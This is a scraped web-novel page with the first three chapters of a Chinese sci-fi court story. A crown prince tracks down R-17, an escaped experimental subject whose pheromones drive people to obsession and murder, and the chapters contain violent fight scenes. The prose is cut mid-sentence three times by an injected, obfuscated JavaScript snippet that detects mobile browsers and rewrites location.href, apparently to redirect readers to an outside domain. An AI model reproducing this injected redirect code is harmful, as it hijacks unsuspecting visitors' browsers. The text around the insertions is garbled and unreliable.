《朕一定要和皇位HE!》 1. 第 1 章 仲夏夜下了好大的雨。 雨丝砸在窗户,从屋内往外看哗啦哗啦砸出深浅不一的涟漪,倒映窗外无人的漆黑夜色。 这是一家开在帝都星灰色地带的小酒馆,受雨势影响,店里生意冷清,除了雨声和女主播播报新闻的甜美音色以外竟再也听不见其他声音。 “皇宫对外发言人宣布太子殿下身体抱恙需长期静养,不再代表皇室出席近期事宜,并谢绝所有采访。” “据悉,受太子殿下健康状况影响,皇室有意修改继承人法案,扩大继承人规模,太子将不是下届皇帝唯一人选。” “气象局针对近期暴雨发布橙色预警,请广大居民减少出行,不去野外偏僻场所,保护个人人身安全。” …… 潮湿的夜风穿堂而过,没有掀起一点波澜。几条报道过后,播报的内容从国家动向转为社会报道。这是全网直播,突然见女主播的面容顿了顿,似乎有人递来了新的稿件。 “现在插播一条紧急新闻,一个小时前,帝都星郊区发生一起天然气爆炸,事发地点为地下某工厂废弃仓库,目前已造成19人死亡,33人重伤,事故发生原因还在调查中。” 放置在吧台桌面的女主播3d投影很快消失,紧接着被事故现场的监控录像取代,浓烟、粉尘,还有夹杂在其中猩红的火星,灰色的烟雾缓缓上升,像是一只来自深渊的巨手。 下一刻,一声刺耳的电流音划过耳膜,女主播的身影突兀消失不见。 “喂,怎么突然关了!”有人嚷嚷。 “哪是我关的,雨这么大,信号不好咯。”酒馆老板笑呵呵道。 “我看是你这个老东西舍不得换新的投影仪吧。” “当然舍不得,这年头,我一个开酒馆的老头子哪有你们雇佣兵赚的多,”老板站在吧台后,老神在在,他用一块灰蒙蒙的布擦了擦酒杯内部,再满上两杯澄黄啤酒,推到今夜酒馆唯二的两名客人面前,“就是没想到你什么时候也开始关心帝国大事了,杰克。” 被他唤作杰克的胡茬男人大笑:“狗屁大事,老子只他妈关心钱!” 只要报酬到位,雇佣兵能帮雇主做成任何事。 今晚也和之前的每一夜相同,根本没有什么天然气爆炸,有的是一群雇佣兵闯进地下研究所大开杀戒抢走一件物品,新闻简直胡说八道,还“事故原因调查中”,简直笑死人。 “就这一单,我能赚这个数,”杰克猛灌黄汤,劣质的麦芽酒精让大脑飘飘欲仙,他大喇喇伸手比出一个数字,“等钱到手,老子就在帝都星买套大别墅,要地上的!天天晚上都能睡不同的女人!” “嚯,”酒馆老板咂舌,“雇主够大方的啊。” “那可不,傻子有钱呗,光雇佣兵就请了不知道几队,我们负责抢,运输由别人负责。”杰克嘀嘀咕咕,“忙里忙外好几天,为这趟生意我们队人都死了七八个,结果到最后什么金贵玩意我都没来得及看一眼。” 他只看见了一个巨大的钢化玻璃罐子,用遮光布包得严严实实,上方连接管道和监控设备,不能磕不能碰的,拆除废了不少时间不说,最后还得放在小车上三个人携手顶着枪林弹雨推着跑。 想到这,他手肘拐向一旁沉默的同伴:“托雷你拆的罐子,你看清里面装的东西没?” 同伴没有说话,而是咽了口唾沫。 “问你话呢!” 托雷今天格外奇怪,杰克想,他迷迷瞪瞪的,或许是还没有从前半夜的枪战和爆炸缓过神。 片刻后才见托雷缓缓抬头,乌黑的眼珠边缘有一圈扩散的红色光晕,直勾勾地盯着杰克。 等到杰克不耐烦,托雷声音喑哑:“我看见了。” 他轻声回答。 “那不是一个东西,是一个人。” 泡在营养液里。 银白的发丝飘荡。 睁开像血一样的眼睛。 美丽的,动人心魄的,不可直视如同神明的,人。 “他没有名字,但罐子有编号,我记得是——” 酒馆门前悬挂提示有客前来的风铃突然一声响。 雨声骤然变大,仲夏夜的闷热潮气扑面而来,与雇佣兵干涩冰凉的音调奇异共振,这家位于安全区边界近乎无人地带的小酒馆没想到今夜能迎来第三位客人,但现在托雷已经不在乎了。 “——实验体R-17。” 托雷双拳紧握,脸色煞白,好像说这几句话就费劲了他所有力气一样。他闻不到同伴身上的血气,也看不见酒馆老板藏在吧台底下准备黑吃黑的枪。 更遑论刚踏进门,坐在门口角落的第三人欲盖弥彰戴着遮蔽面容的头盔,却穿了一身足以买下整个酒馆的昂贵衣料。 他只是陷入回忆。 漆黑的房间,泡在宛若牢笼的罐中,可怜又无助的实验体R-17,无声地回望着他。 他是机械工种,为了这次行动,托雷比其他雇佣兵提早一周潜伏进研究所,有更多机会接触并观察任务目标。 他睁眼了吗? 应该睁了。 他看向我了吗? ……好像是的。 他说话了吗? ……也许? 记忆一开始模糊不堪,但越是努力回忆,便越是清晰,大脑擅自将记忆往期待的方向美化,最终变成每一次他靠近关押R-17的水牢,每一次那双瑰丽璀璨的红眼睛就会望向他,嘴唇翕合,吐出一连串气泡,无声恳求。 “带我走。” R-17说。 托雷猛地站起来。 力气大到高脚凳被直接带翻,连带杰克也被撞得一个趔趄,懵逼道:“托雷你什么毛病?” “我要带他走。” 杰克:“?” 这一次语气更加肯定:“我要带他走!” “什么狗屁,你带谁走?喂!托雷!你个傻逼玩意,你要去哪?” 我要去找运输小队,我要带R-17远走高飞。 到一个没有人能找到我们的星球,只有我和他。 只有我,和被我藏起来,只属于我的R-17。 托雷瞳孔涣散,没注意到自己的精神已经亢奋到一个危险的极限,他不管不顾地甩开杰克的手,想一头冲出酒馆,冲到雨中,冲到安全区外的非法港口,带走即将登上舰船的属于他的实验体。 正当托雷越过倒翻的桌椅,以一种肾上腺素飙升,超越人体极限的速度拉开酒馆的门,风铃撞击声戛然而止,一只修长白皙的手闪电般稳稳拦在身前,竟硬生生阻断他的行动路线。 酒馆内陌生的第三位客人不知何时闪现过来,他的身形颀长,一身绣满暗纹的白西装,却头顶一个不伦不类的摩托车头盔,声音温柔:“看来你知道运输队的行动路线,能告诉我吗?” 托雷:“……” 挣不脱。 杰克慢一步赶到门边,虽然不知道托雷在发什么疯,他本能护住同伴朝头盔男抢先发难:“你他妈谁——” 右手握拳不偏不倚砸向对方面门,而摩托男站在原地没有躲开,他偏了偏头,任由杰克的拳头擦过再转拳为爪,一把掀开他的头盔。 先是一头耀眼的红色长发垂落,而后是一双仿若宝石的暗绿的眼睛,无人在意头盔咚咚落地滚了两圈,也并非是被明艳的容貌冲击到失语,佣兵们受过专业训练,是绝对不会被仅仅一张脸迷惑。 他们哑然的是来者的身份。 红发,是皇室的象征。 即使是从来不关注国家大事的杰克声音也隐藏一丝敬畏:“……太子殿下?” 酒馆做的是灰色生意,远离繁华地带,是罪恶和酒色的腐烂天堂,谁也没有想过刚刚还在电视女主播口中出现,人类帝国目前唯一的继承人会出现在这里。 然而他的的确确地出现了。 不仅如此,新闻报道中重病缠身不得不静养甚至影响到继承权的太子此刻一点都看不出生病的倾向,他察觉到雇佣兵的审视,微微颔首。 “是我,”皇太子时闻歌得体地回应道,“晚上好。” 场面死寂,雇佣兵和酒馆老板都被这离奇的走向震惊,浑身僵硬说不出话。 只有时闻歌和托雷维持方才的举动没变,时闻歌耐心地再一次重复:“今晚我接到一份情报,名为R-17的个体对社会治安具备高度风险,希望你能配合我,告诉我运输R-17的小队行进路线。” 托雷双目失神,却不加犹疑:“我拒绝。” “为什么,”时闻歌想出一个解释,“因为契约精神?” “不,不是因为雇佣兵对任务的忠诚,而是因为,” 托雷张了张口,“我爱他。” 对啊,我爱他。托雷恍然大悟。 多么简单又明显的答案。 爱他才想要带走他,保护他,占有他,藏好他,只有我一个人能看见他,他也只能看见我一个人。 爱情就是这么疯狂,无论是谁都不能阻止,不管是杰克还是其他雇佣兵的同伴,是雇主还是帝国的皇太子殿下。无论太子为什么出现在这里,为什么也对R-17感兴趣,这都不重要。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517439|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所有挡在他身前,阻止他走向R-17的人的结局都只有一个。 ——死。 托雷突然察觉到心中迸发无限的勇气,他一只手腕被时闻歌抓住,另一只手却空闲。谁都没能预料到托雷以迅雷不及掩耳之势从腰后拔枪,砰砰两下。 雇佣兵随身携带武器,多么正常。 杰克和酒馆老板至死也不知道为什么会落到这样的结局,上一秒还友好对话的同伴和顾客下一秒便夺走了他们的性命,躯体倒地发出沉重的声响,鲜红的血液从眉心汩汩流出,染红不可置信瞪大的双眼,死不瞑目。 下一刻,黑洞洞的枪口就指向了时闻歌。 “我爱他,”灼热的爱意掏空身体,托雷的眼中仅存执着的疯狂和哀愁,“是你们逼我的,太子殿下,如果非要执着一个理由的话,那就是因为我爱他。” 爱。 他重复了好几次。 时闻歌在思考,这似乎是那个实验体R-17的能力,无需接触就能改变他人的器官变化和激素分泌,生理进一步扰乱记忆、思维和情绪,让人做出违反常理的举动,其表征为突发的暴力倾向和病态的执着,轻而易举让人做出意想不到的举动。 真是优秀的精神控制。 能让养病的太子殿下出现在这里唯一的理由就是他对所谓的超能力感兴趣。 他慢条斯理道:“因为爱,所以你现在打算袭击我?” 雇佣兵停顿了一下,说:“对不起,殿下,这是我的命运。” “好吧。”时闻歌轻轻叹了口气。 下一刻—— 咯! 托雷突然发现自己感知不到持枪的手,然而耳朵捕捉骨头挤压错位的声音尤为不祥,尖锐的疼痛过后,他断片了一秒,骤然意识到方才那短短一秒自己的右手竟被硬生生拧断! 传闻中病重到需要长期静养的皇太子,如今单手便将身经百战的雇佣兵提了起来,而后者发现自己竟然怎么也无法挣脱,眼睁睁地看着自己视野迅速变化,从温润的太子变成斑驳的吧台桌面。 砰地一声巨响! 他被嵌进墙里。 血晕染开,托雷从半空坠落,将薄木板压成一片片碎屑。 他觉得浑身骨头快要炸开,面容因疼痛而扭曲,被污秽和血块覆盖好像一个恶鬼,枪也不知道丢到哪去了。 只有时闻歌依旧从容:“你意图刺杀孤,现判处你叛国罪和危害国家安全罪,另外你涉嫌帝国国民R-17绑架案,另有证据证明你与多起杀人案、爆炸案有关,数罪并罚,孤现依照帝国赋予皇室的权利要求你说出R-17的下落,一切合情、合法、合理。” 他提起托雷的头,强迫后者扬起下巴,被血染红的眼睛能看清时闻歌依旧温和的神情。 其实时闻歌长了一张令人脸红心跳十足心动的脸,精致到瑰丽的五官,高耸的鼻梁,还有代表皇室血脉的红棕发色和碧色瞳孔。在帝国民众认知里无论何时他都寡言而又优雅。 直到此刻他也依旧如此,和荧屏里,和认知里的太子形象所差无几。 “生命在遭遇威胁时人会爆发出强烈的求生欲望,会盖过爱情这种基于命令和服从的精神控制,这是生物的本能。”时闻歌捏住托雷的咽喉,“你觉得为爱能付出一切,不过是因为还未遭遇漫长的死亡威胁,求生欲望没能复写更改大脑的精神设定而已。” 美丽的脸在托雷眼前骤然放大。 他却无暇在意了,牙齿咔咔作响,四肢不受控制地开始战栗,又被时闻歌嫌麻烦似地卸掉腕骨,而后是关节和肩膀。现在胸口塌陷,肺部叫嚣着需要更多空气,他清楚地感知自己正缓慢地滑落向死亡。 会死。 真的会死。 托雷剧烈地喘息,他忽然意识到纵使太子殿下温润有礼又优雅,却至始至终没有询问过他的姓名,就好像他是一个无关紧要的棋子,一个没有姓名也不需要过多关注的玩具。 一直空洞无惧的面容终于变了,五官扭成一团,瞳孔放大——那分明是恐惧。 “你可以尽情体验究竟是生物本能还是精神控制更胜一筹了,不必担心时间,我们可以慢慢来,因为仁慈的神同样期待这个问题的答案。” “不过出于好心,我希望你能早日认清现实并积极配合我的工作,告诉我R-17的行进路线。” 时闻歌注视着雇佣兵,依旧维持着得体的微笑,一点一点收紧箍住喉咙的力道,“那么,我再给你一次将功补过的机会,” “——你还是爱他胜过生命吗?” 2. 第 2 章 仲夏夜进入后半程,雷鸣和滂沱大雨中一辆装甲卡车以超过两百五十公里的时速迎头冲上盘山公路,在末端极速急转一百八十度,甩出地面一道漆黑焦痕。 惯性使得车厢内所有东西都歪东倒西砸向一边,顿时车厢内一片谩骂。 “卧槽老子撞到头了!” “司机搞什么呢?!会不会开车!” “你搓方向盘的技术菜到我抱条狗来都比你开得稳,不行你赶快回娘胎回炉重造吧。” 分隔驾驶室和后车厢的挡板拉开,司机呸的一声清清楚楚:“都闭嘴,老子开车的时间比你们的命还长,没死就赶快去检查货坏没坏。” 车厢内的雇佣兵们嘻嘻哈哈,推搡彼此,其中一人爬起来,慢悠悠走向车厢尾部那一个用吸光黑布罩住的硕大阴影,底座铭牌写了一行小字。 “极度危险,请勿靠近,编号:R-17。” 雇佣兵不以为意地掀开一小条缝隙,让车顶灯泡微弱的光透入。 然后,光在营养液中折射扩散,猝不及防下,他与一只仿若囚禁深海的血红眼睛对视。 一瞬间雇佣兵只能听见自己的心跳声,他被一只看不见的手狠狠擒住心脏,屏住呼吸,血液哗啦啦上头,剩下冰冷僵硬的四肢躯体和脑海里挥之不去的,如同梦魇的眼睛。 “嗨,嗨?” 身后一名同伴拍了拍他的肩膀,“没事吧?” 雇佣兵梦中惊醒,慌忙收回手,干笑道:“没事!我没事,罐子也没事,三层中空军用钢化玻璃制成的实验罐哪有那么容易坏,除非疯了连车带罐子从高空往下砸,哈、哈哈哈。” 实验罐再次被黑暗笼罩。 但R-17已经醒了。 昏暗且幽闭的空间,不稳定颠簸的急速,R-17迟疑了一会才意识到自己已经不在研究所,而在一辆行驶的车上。 他的躯体和四肢被一套拘束衣捆住牢牢固定在罐子中心,身体蜷缩呈婴儿姿态,脸上大半都被不透明的面罩覆盖,用一条呼吸管连通到营养罐顶部,只有一只右眼和满头银发被允许露出来。 这个姿势几乎抹除了所有R-17挣扎的可能性,他无法动弹,五感透过营养液和阻隔的玻璃小心翼翼观察身处的世界。 刚才那个人……不认识,也不是研究所统一的制服。 瓢泼的水声、黑暗的浪潮、车厢的味道……都很陌生。 他轻轻嗅了嗅,相比之下关住他的罐头反倒没那么异常。这是研究所常备的用于专门关押危险实验材料的牢笼,换言之罐子就是他的家,他每一次睁眼时记忆的开始,每一次闭眼时记忆的终结。 熟悉的罐子,R-17思考着,是不是意味着和以前一样,自己依旧在研究所的掌控下。 R-17最初的记忆是从研究所开始的。 他第一次苏醒是在一年前,淡绿色的营养液包裹住他,他意识到自己正处于某种器皿中。隔着玻璃能看见数名白大褂的成年人,男女皆有,他们围着他所身处的器皿,每人胸前一块记录数据的虚拟屏幕,毫无感情地用R-17无法理解的语言交流。 研究员用七天教会他基本指令和语言的概念,再用三个月教会他使用各种工具,随即R-17通过查阅字典找到了当日研究员对话的明确意思。 “编号R-17实验体已苏醒,生命体征正常,阶段一顺利结束,可开始下一阶段实验。” 他们称R-17为最接近完美的造物。 无论是高出正常人几倍到几十倍不等的的骨密度、细胞再生速度和抗毒性等诸多难得的特性,都是他完美的证明。 第二个完美的证明,是他总能很轻易地博得人型生物的好感,引起多巴胺不合常理的上升,在对方心底留下美好而又绮丽的影子。 但他却无法控制好这一点。 研究员们将R-17的能力命名为信息素,为了避免不受控的信息素扩散会影响实验人员的心智,他被收走了书本,断绝学习知识的机会,被关进水牢,等需要的时候才会被唤醒。 黑暗中听觉更为可靠,R-17闭上眼。 呼——哈—— 胸膛微微起伏,呼出的浊气在呼吸管道中轻飘飘往上,也不知道是在运输的哪段磕碰,在营养罐最隐秘接口处有一道谁都没有察觉到的裂缝,稀薄微量的信息素和吐息一起扩散。 “都说了货物没事,”刚刚掀起布帘的男人声音有些不安,“你们有没有觉得有奇怪的声音,还有味道。” 车厢内一阵嗤笑:“疑神疑鬼,胆小鬼。” 男人脸色都涨红了,憋了半天:“老子明明是在好心提醒你们!” 轻微的轰隆声从遥远天边奔流而来,男人抽了抽鼻子,他闻到了一阵青草和泥土的味道,湿润而又沉重,随之那味道越来越浓,中间还夹杂着一股若有若无的甜腻芳香。与之相对的,是持续不断敲击在耳膜上的鼓点。 还是很奇怪。 他再也忍不住,无视或坐或躺不以为意的同伴,一边作势推开驾驶室和后厢的舱门一边问:“还有多久才能到空港?今天的雨太大了……喂!你怎么在打瞌睡??” 舱门一推到底,低沉的声音骤然变大变得更为不祥。司机咣当惊醒,手扶方向盘向左恰好再一次甩尾漂移,视野跟着一道转弯,透明舷窗外令人困扰的的沉闷轰鸣和泥土味道由远及近,最终亮出真身。 “草!”他憋出一声骂。 真他妈倒霉。 ……居然碰上了泥石流! 司机下意识地抓紧方向盘,他是一个有着二十年驾龄的老兵,这辈子经历过的危急时刻超乎想象得多,他开始懊恼,懊恼自己不知道为什么放松警惕,没能察觉到连日大雨后走到一座平日无人疏于管理的深山究竟有多危险不说,而他竟然在犯困! 为什么?!怎么回事! 然而这份懊恼来得十分不合时宜,面对生死关头,他居然胡思乱想失去了往日的冷静,方向盘向山体转向的动作慢了半拍,伸向能打开缓冲气垫的按钮的手指悬在半空,时间仿佛静止在此刻。 来不及了。 轰—— 那奔流不息汹汹而来的黑色泥流迅速吞没了卡车,没能留下一点声息。 。 R-17再次睁开眼睛的时候,罐子里的液体已经流干了。 他以一种半躺半吊的诡异姿态斜靠在罐子的玻璃上,遮光布罩被撕成一条一条地到处散落,余光里的透明侧壁被凿开一个蜘蛛网状的口子,想来即使是三层中空钢化玻璃从山顶滚到山脚,也逃不过粉身碎骨的命运。 不够完美。 他想,不够完美的造物,其结果便是毁灭。 拘束衣倒是完好无损,R-17动弹不得,默默放空脑袋,用唯一一只没有被封住的眼睛观察环境。 植物,很高大。黑暗,山坡,雨的味道好闻,血的味道好腥。 好多尸体。 还有一个活人。 R-17微不可察地皱了皱眉头,他看见身前不远处的人形物体抖了抖,竟缓缓站起身,在原地踯躅片刻后朝罐子的方向走来。 黑暗无法影响R-17优秀的视觉,红得妖异的眼睛落在对方身上,他认出是刚才掀开布罩透过缝隙看见的那张脸。 他目不转睛地盯着男人看,看着男人一瘸一拐地靠近,不知何时月华透过破口融进R-17血一般的眼睛,他像是一种只会出现在黑夜里,在最隐秘的梦里的传说生物,勾勾手指,就让人忍不住沉沦。 男人站定在破罐子的正前方,显然在天人交战,倒霉到碰上泥石流,队友全死了,看来运输任务注定失败,现在他纠结到底是放出R-17,还是不管不顾自己逃命。 他犹豫了很久,在R-17的注视下最终还是情感战胜了理智,颤抖地用随身的军用匕首在玻璃破损处制造更大的破损,再扒开碎片,附身一点一点割开拘束衣的带子。 “对不起、对,对不起……”男人觉得自己脑子大概是坏掉了,居然会向一件被绑架的货物、一件价格昂贵的商品道歉。 但他迅速接纳了这一转变,一刀斩断捆住R-17的带子织料,舔了舔干涩的嘴唇,“可毕竟是我救了你,救命的恩情大过天,从此以后你就……” 救? R-17茫然地偏了偏头,不理解。 他现在是清醒的,没有营养液,没有罐子,没有让他无法动弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517440|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的拘束带,也没有从山顶滚落的伤痕,和每一次被强制唤醒时没有任何差别。说救他根本没有意义。 无边无尽的黑暗丛林,仲夏夜阴冷的夜雨永无止尽,男人沉浸在甘甜美味的梦,无论是把R-17换成钱还是带走都是他能接受的结局,同伴的死亡和遭遇泥石流的恐惧被全然抛在脑后,他没有察觉到或者是大脑自动屏蔽R-17眼底的漠然,自顾自收回匕首,侧身将它放进口袋。 “跟我走吧。”男人尽可能地降低姿态,伸出手邀请。 R-17的视线缓缓下移,从男人的脸到男人的手。 ……敌人的意义不明。 他觉得自己将男人定义为敌人非常合理,通常情况下,研究员会将在唤醒之后将他带往一个空旷的房间,房间内偶尔是人,偶尔是动物,祂们充满敌意,而研究员则会躲在广播后面,用失真的电流音告诉他,这是一场实验。 “实验目的,R-17,杀光他们。” 每一次苏醒都是如此。实验意味着厮杀,面对的都是敌人,敌人和自己只能活一个,非常浅显易懂的道理。 他试探性地抬手,男人的表情也随之骤然放松。 就这一刹那,一只修长的手猛然袭击,骨节分明,却犹如铁钳! R-17面无表情地掐住男人的脖子,脆弱的骨头在掌心咔咔作响,他感受手心愈发冰凉的体温和几乎无用的抵抗,像是每一次命令后,生命在他掌心消逝的瞬间。 对啊。 现在依旧是一场实验。 和每一次醒来,每一次有意识时一样,无论对方是谁,无论是敌人还是动物,不完美的变成样本,完美的拥有活下去的权利。 雨势渐小,没有人注意到此时空气更安静了,山林、夜晚和雇佣兵都没有一点声息,仿佛身处是一个冰冷寂静的世界,仿佛星海只剩下了R-17和一个弱到不行的失败品。 就在此时。 沙沙。沙沙。 一个人影迈步朝他们身处的方位靠近。 R-17警觉地支起耳朵,就在他想要解决男人结束实验时,一声枪响,雇佣兵高大的身躯晃了晃,咚地倒在地下。 他没有死,被击中的是R-17举起雇佣兵的那只手,被子弹巨大的冲击力撞击不得不放开手心的猎物,不自然地抽搐两下,垂落在身体一侧。 R-17微微挪开视线,一个青年越过他听觉和嗅觉捕捉的范围,缓缓踏入山林中。他优雅,高贵,有一头高贵耀眼的红棕长发,碧色的瞳孔是书中提到过最美的内陆湖,然而那瞳孔里是无机质的光,高高在上俯视众生,看他和看路边一块石头没有什么区别。 “我不允许,有人以暴力手段攻击平民,试图击溃帝国的安定。” 青年的声音沉稳、悦耳动听,他轻轻说,“我同样也难以忍受,一个身处帝都星的,极度不稳定的危险分子。” 枪口调转,手指搭上扳机,所有的声音和风都在此刻无影无踪,人体的温热还未完全从手心消退,红色瞳孔里被放大的黑漆漆洞口冒出灼热的硝烟,而洞口瞄准的方向——分明指向他。 R-17瞪大眼睛。 丢在地上的男人不再有任何意义,他感受到了危险,那是比研究所的机械改造人和发狂野兽更强大可怖的存在。 R-17一动不动,屏住呼吸,戒备的同时蠢蠢欲动,红瞳凝固成一道竖缝。 而后蓦然发难! 哒哒哒枪口吐出火舌,子弹倾泻喷出,无数次银白与火星擦肩而过,在视网膜留下一道几乎无法捕捉的残影。最终敌人进入R-17的攻击范围,就在他臂展之间,他触手可及,伸手就能够到的地方。 ……结束了。 我的。 猎物。 他蓄力、起跳,控制不住□□口腔中尖锐的犬牙。以实验体对实验的贫瘠了解,到了这一步,对手会惊恐,研究员会兴奋。 可眼前的青年脸上什么都没有,他依旧冷静无畏,灼热的火舌之后是握住扳机的手指,覆盖肌肉的手臂,和一双倒影着R-17起跳攻击,却古井无波的眼睛。 ——砰! 子弹出膛,近距离击中R-17的眉心。 3. 第 3 章 一声枪响。 R-17猝不及防被击中,巨大的冲击力让急冲突刺化为乌有,他脑袋后仰,从半空直直摔下,咣当落地。 时闻歌趁机反身一踢将他踹飞,直到轰轰撞断两棵大腿粗的树木才堪堪停下。刚刚那是最后一发子弹,趁这空隙咔嚓一声更换弹匣,迅速补充了新弹。 他再将手枪对准R-17的额头,没有犹豫。 砰,砰,砰。 一步一发,徐徐靠近,每一发都精准击中要害部位。等到一管弹匣耗尽,时闻歌已经重新走回实验体的攻击范围,居高临下望着他。 很遗憾。 R-17仍然没死。 雨水和草地在他半遮半掩的拘束衣上留下大块污渍,鼻骨上方有一个殷红的小坑,不致命,没有穿透头骨,一道细小的血流蜿蜒没入鼻梁和面罩夹缝的阴影。 而后一抖,那本就摇摇欲坠的呼吸面罩终于不堪重负,跌落进身前的小水洼。 R-17露出真容。 坦白说,即使没有信息素作祟,R-17也长了一张会让人趋之若鹜的脸。银发湿漉漉贴在脸颊,鼻梁颌线犹如玉雕,天地万物染上血色倒灌眼底,映出眼角猩红艳丽的一颗小痣。 但时闻歌对他略带邪性的美丽视若无睹,他更关注他蜷缩的躯体,胸腔急促起伏,喉咙发出的嘶嘶低吼——那是攻击的先兆。 周围都是死人,信息素无效,没有可供驱使的生命体,R-17只能靠自己,手断了就用腿,用头、用牙齿,全身都当作武器。 他就像一头真正的野兽,展现出极强的侵略欲望。 潜身是为了观察,低吼是为了震慑,用看待猎物的目光倒映眼前人的红发。 攻击性很强,时闻歌想。 刹那间他察觉到一阵极快掠过的风,是R-17的攻击到来,时闻歌眼睛都没有眨便错身躲过一口掏心,一次扫腿,再躬身抓住一只迎面袭来的手腕。用力一掰,那力道徒手能拧断铁管,顿时R-17张口一声惨痛嚎叫和被疼痛刺激更为凶狠的咆哮。 ——而且直到现在也没有开口说话。 手腕被拧断使得R-17的狂性完全被激发,他骤然加速,就算时闻歌完全没有松开他的意思也不影响他想要杀死对方的意图。 血盆大口朝着脖颈狠狠袭来,同时剩下的手和脚紧紧缠住对方腰肢,保证自己不会第二次被踹飞。若是这一下咬实了,什么实验体什么雇佣兵也无需在意,明天就能举国哀悼,邀请众人参加太子殿下的葬礼。 就在电光火石间,一只手臂猛然插入两人之间,刚好卡在牙齿和脖子的必经之路上。 刹那间臂骨碎裂,肉和鲜血糊了满嘴。 时闻歌面无表情地将他撕下来。 如果说这是一场测试,现在他确定了,R-17,作为实验体,无法沟通、具有暴力倾向且能力无法自控,对社会帝国乃至全人类都具备潜在风险。 一只存活下去没有意义的小怪物而已。 。 时闻歌最初对R-17产生兴趣是在今天晚餐后。 用毕晚餐,他回到卧室,在床头发现了一本凭空出现的小说。 纸张是旧地球时期用于存储信息的数据载体,在星际时代还未到来前就早已被抛弃,比起工具本身的意义,实体书籍更多是作为古董和装饰品被摆放在不染尘埃的玻璃展柜里。 所以不管是记忆也好,常识也罢,它都不应该出现在这里。 但追究其目的是之后的事,现在这本书被时闻歌翻开了,纸张的手感是粗糙的,泛黄的墨迹通篇托举一个陌生的名字。 ——R-17。 他是这本小说的主角。 翻开第一页是内容简介,大概讲述的是R-17逃离研究所,三年后再次返回帝都星,向当初把他当做实验材料的研究所复仇的故事,在过程中他遇见了一些配角,有的好有的坏,但他们都有一共同特点。 他们都爱R-17爱到发狂,爱到愿意为他去死,或者愿意为他让别人去死。 ……原来帝都星现在流行的是这种风格。 时闻歌不理解也不感兴趣,考虑到时间成本,花几千乃至上百万字讲述一个人的生平和经历实在是效率很低的做法。 但雨势绵绵,长夜漫漫,纵使卧房内投影着时事新闻,却也显得一片寂静,像是被时间遗忘了。 他翻开下一页。 故事的开头同样是一个下着雨的仲夏夜,背景是帝都星,R-17被一伙雇佣兵从某个不存在的地下研究所劫出,书中是以R-17的视角描写,他不记得自己被带走的详细过程,但他隐约记起发生了一起爆炸…… 轰! 时闻歌抬头,新闻投影刚好直播到一声巨响:“数分钟之前,帝都星郊区发生一起爆炸事件,请附近居民紧急避难……” 再缓缓低头,捕捉书页的关键词。 仲夏夜、雨天、帝都星、爆炸。 “……” 哇哦。 小说通常都是虚构的,但这一本好像不是。 至少到目前为止,现实发展都和书中写的一模一样,甚至连新闻没提及的事故原因也有:雇佣兵、研究所,和能让人轻易爱上的实验体R-17。 时闻歌被勾起兴趣,或许出门确认一下到底是巧合还是书中预言确有发生也是一个不错的选择,他披上斗篷,再随手捞起一个摩托头盔。事故发生地点离他修养的山庄很近,帝都星早时普及了悬浮车,地面公路荒废了许久,今晚开越野车出门不会引起任何人注意。 于是他驱车前往书中一个只提及过一次的酒馆,从抢劫组的雇佣兵口中得到R-17的确切消息,转向安全区边界的盘山公路。书中曾提及过一个模糊的地点,再加上一寸寸盘查,最终在山脚找到刚从尸山爬出的R-17。 一个小怪物。 不知道还算不算人类。 刚才那一口让左手臂臂骨有了裂缝,但问题不大,不影响正常行动。时闻歌放轻呼吸,手一甩便甩掉胳膊上汩汩涌出的鲜血和肉沫。 手枪随手也丢了,枪是他从酒馆雇佣兵身上顺来的,本就是该被淘汰的老旧款式,现在看来火药子弹对R-17基本起不了作用,留着也没用。 转而一挥手,一把造型奇特的匕首从衣袖划落在右手掌心,刀刃通体黑色,隐隐散发着强大的力量,刀花旋转尖端朝外,诡异得一点银光也看不见。 “你很危险,你的价值完全比不过教养你需要付出的代价。” 也不管R-17听不听得懂,时闻歌的声音极轻又极其平静。 这是斟酌后的最佳解法,他太不可控,与其等待三年后那个具备正常人类知性的R-17回归,和那些为他疯狂的贵族权臣财阀等等一系列人在帝都星掀起不必要的波澜,不如现在将他就地抹杀。 黑刃破空一击冲前,时闻歌出手的动作难以被肉眼捕捉,在R-17不可置信的瞪视之下,这一击破开空气和雨夜,竟无视任何阻碍贯穿他的皮肤、他保护胸腔的肋骨,轰然击穿心脏!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517441|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没有任何生物能在心脏被击碎的情况下存活。 R-17的身体在原地晃了晃,茫然、无措和自己都没意识到的对人世的眷恋一一在脸上闪过,他瞪大眼睛,重重跌进泥地,再也没有了声息。 时闻歌轻轻舒了一口气。 好了,这就是结束—— 变故突然发生! 